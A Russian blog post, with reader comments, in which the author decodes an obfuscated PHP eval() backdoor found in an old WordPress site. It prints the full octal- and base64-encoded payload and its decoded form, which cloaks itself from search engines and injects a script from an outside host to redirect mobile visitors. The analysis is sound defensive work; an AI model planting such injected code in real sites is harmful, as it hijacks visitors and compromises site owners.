Dubrowsky
Хроники одного дупла
Блогово  →  WebDev  → 

PHP: раскодируем вражеский eval()

16 Ноября 2012 года

Я когда-то давно купил сайт на WordPress. Забросил на дешевый хостинг и позабыл благополучно. Утром сегодня решил на него ссылок повесить, открыл код, а там - страшный-страшный eval(), внутри которого неведомые цифробуквы. Ничего не понятно, но понятно, что это не к добру. Давайте прочитаем, что же там написано (разминка для php-программиста).

Вражеская строчка в коде выглядит вот так:

eval("\145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050\163\164\162\162\145\166\050'==QfgsDdphXZgsTKog2c1xmZgszJ+QHcpJ3Yz9CP+Iycq5SMucjLx0SeyVWdxp2Lt92YusmcvdXZtFmcm1SeyVWdxp2LvoDc0RHai0zYyNHI0BXayN2c8cCIvh2YlByegkSKddCVOV0RB9lUFNVVfBFVUh0JbJVRWJVRT9FJABCLnk2cvUGbn92bnxHelRmbhlHfyVWehxGctwVYpRWZt1CXzd3bk5Wa3xHZh9Gbud3bkxHduFmdhxXYjlmcl1WY8h2cvRnbpNWYt9yJog2Y0FWbfdWZyBXIgYiJgkSKddiUFJVRGVkUfBFVUh0JbJVRWJVRT9FJABCLnk2cv0Tc/wVb8h2YyFWZz12LngCajRXYt91ZlJHcgwHfgkSXnQlTFdUQfJVRTV1XQRFVIdyWSVkVSV0UfRCQgwyJpN3LlRne812bvhHfhRGe8N3clxWZyl2d8N3biV2d8BXY3xXZu9mZhR2b2x3aulGbuwFc1xnclN3dvJnYuwFc1x3c1xWZ0xXZslmYv1WL0xnbhlmYtl3c8lnbvNHfl52boBHdyFWbzxXLll2c8Bnchh2c81WZnF2c8VmbvhGc8NHcpxWaoBHfjlmbvNXYuFGc81GbhBHfhl2av5GftMWZuxXYs9mcvR3btxXai9Wb8BXbtxHcklWb8lmbp1mLhJXZw9GfhZXYqxXZtJja8R2bwlGfxFGcpxHZhBXa8VmbvhGcpxXZslmYv1WZpx3Y0hGfl5WahxWZ89WbvN2bkxHdlt2YpJ3Y8xGblNGfx5WZixXeyJXZit2YhxmY892Z05WY2FGfkl2byRmbhxXav1WY8xWZ0F2YsF2LngCajRXYt91ZlJHcgwHfgkSXnQFUFN0QB9FUURFSnslUFZlUFN1XkAEIscSaz9Cbth3KcxWb0hGeuAXY35CZuZ3Lc52bpRXYjlGbwBXY8xWb35CchdnLk5mdvwFd4VGdvcCKoNGdh12XnVmcwhCKgYWa'\051\051\051\073");

Пробуем приглядеться и замечаем, что она состоит из циферек по краям и буковок в середине. Что же это за циферки? А это - ascii-коды символов в восьмеричной системе, просто же! Отрезаем циферки и пробуем их раскодировать:

$str = '145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050\163\164\162\162\145\166\050';
foreach (explode("\\", $str) as $ch) {
	echo chr(octdec($ch));
}

Получаем вот такой результат:

eval(base64_decode(strrev(

Вот и весь секрет. А циферки в конце - это, очевидно, закрывающие скобки. Берем часть вражеской строчки с буковками и выполняем то что получилось, без eval:

$str = base64_decode(strrev("[многобукв]"));
echo htmlspecialchars(print_r($str,1));

И видим код, который на самом деле исполняется:

if ((preg_match('/text\/vnd.wap.wml|application\/vnd.wap.xhtml\+xml/si', @$_SERVER['HTTP_ACCEPT']) || preg_match('/alcatel|amoi|android|avantgo|blackberry|benq|cell|cricket|docomo|elaine|htc|iemobile|iphone|ipad|ipaq|ipod|j2me|java|opera.mini|midp|mmp|mobi|motorola|nec-|nokia|palm|panasonic|philips|phone|sagem|sharp|sie-|smartphone|sony|symbian|t-mobile|telus|up\.browser|up\.link|vodafone|wap|webos|wireless|xda|xoom|zte/si', @$_SERVER['HTTP_USER_AGENT']) || preg_match('/msearch|m\?q=/si', @$_SERVER['HTTP_REFERER'])) && !preg_match('/macintosh|america|avant|download|windows\-media\-player|yandex|google/si', @$_SERVER['HTTP_USER_AGENT'])) { echo '<script src="http://jquery-framework.com/jquery-1.7.1.js"></script>'; flush(); exit; }

Ну, тут ничего выдающегося. Враги сверяют юзер-агента с регуляркой (заботливо исключив поисковики) и вставляют подключение JS-файла, который содержит перенаправление на сайт, где пользователя ждет какая-то страшная кара.

Мораль: не пользуйтесь богомерзким вордпрессом =) Если уж пользуетесь - обновляйте его. Но лучше - не пользуйтесь. Вот например Серега DrJeans, который попросил меня поставить ссылочку на сайт про бокалы и фужеры для вина, пользуется замечательной системой NetCat - берите с него пример!

Камменты

Давид16.11.2012, 15:18#
Сереге респект и уважуха.
Коле Дубру низачот, тема сисек в статье не раскрыта.
Дуброн самый16.11.2012, 17:15#
Давид, ок, начну работать над академической статьей "Значение женской груди в профессии веб-программиста".
Давид23.11.2012, 19:48#
Коля, сисге это все, ну почти все, остальное это котики..
а вобще ты просто в посте тему е..ли отрыл, без оголения сесег, вот я и протестую!
Andriano23.12.2012, 02:14#
Значение женской груди в профессии веб-программиста очень даже важна, бодрит, растормаживается когда не получается что-то )))
А за подсказку с eval отдельное спасибо!
masfka31.12.2012, 12:57#
в паекли яндекс вебмастер скачала входящие ссылки и обнаружила такую строку: vipvnn.ru/redirect.php?url=http%3A%2F%2Ffotostrana.ru/games/?ref_id=120023468/ kody-cvetov-palitra.clrcodes.ru/37558b Мир кораблей онлайн игра. Насколько я понимаю, мой сайт используется как донор для накрутки другого сайта. Помогите советом, как определить где прописан редирект. В роботс закрыла пока этот сайт.
Я20.09.2013, 18:55#
мдя...

1)
заменяем
eval("14516614115....");
на
echo("14516614115....");
получаем:
eval(base64_decode(strrev('==QfgsD....

2) заменяем еще раз
echo(base64_decode(strrev('==QfgsD....

БУДЬ ПРОЩЕ!
Дуброн самый20.09.2013, 19:07#
По п.1 согласен, по п.2 - лучше все-таки как у меня =)
Я20.09.2013, 22:03#
а мне кажется, что проще поменять 3 буквы, чем заморачиваться с кодом :) а выводить можно в терминал, ну или глянуть исходный код в браузере... все действия заняли у меня меньше минуты :)

да и зачем нужно htmlspecialchars() (в смысле < >) и прочая лабуда, когда проще глянуть оригинал? Тогда почему не htmlentities()? :)

Ладненько, подписался на RSS, так что еще поболтаем :)
Роман19.09.2015, 15:53#
Очень интересно, у меня на блоге идёт перенаправление один раз в день на какую-то всплывающую хрень. Никак не могу избавиться. Нажимаю на мою любую ссылку и один раз в день уходит на всплывающее окно, а потом нормально на нужную ссылку идёт. Вот такая проблема.

Написать коммент: памятка постеру

 

Крутые посты wtf??? →

02.10.2012 · 90 камментов · рейтинг 18.51
27.06.2012 · 37 камментов · рейтинг 11.58
15.02.2013 · 24 каммента · рейтинг 9.92
06.03.2008 · 29 камментов · рейтинг 7.66
28.03.2008 · 23 каммента · рейтинг 6.85

Поисковый спам

Последне камменты

18.11.2017  JohnКак закрыть окно Skype / свернуть нафиг в трэй: Спасибо, добрый человек! Неимоверно раздражало.
10.11.2017  NikПочему не работает form.submit(): Автор, спасибо за статью 5-летней давности. Подари...
27.10.2017  ДенисОбработка кликов и цели в Яндекс.Метрике, улучшенный вариант: Блин. А для не в зуб ногой - можно код целиком выл...
17.10.2017  ДубрDenwer - настройка алиасов (ServerAlias): Ахуенно не это, ахуенно то что кто-то пользуется Д...
29.09.2017  Maxтам же: Спасибо, чувак! Это ахуенно, оно заработало!!!

Статсы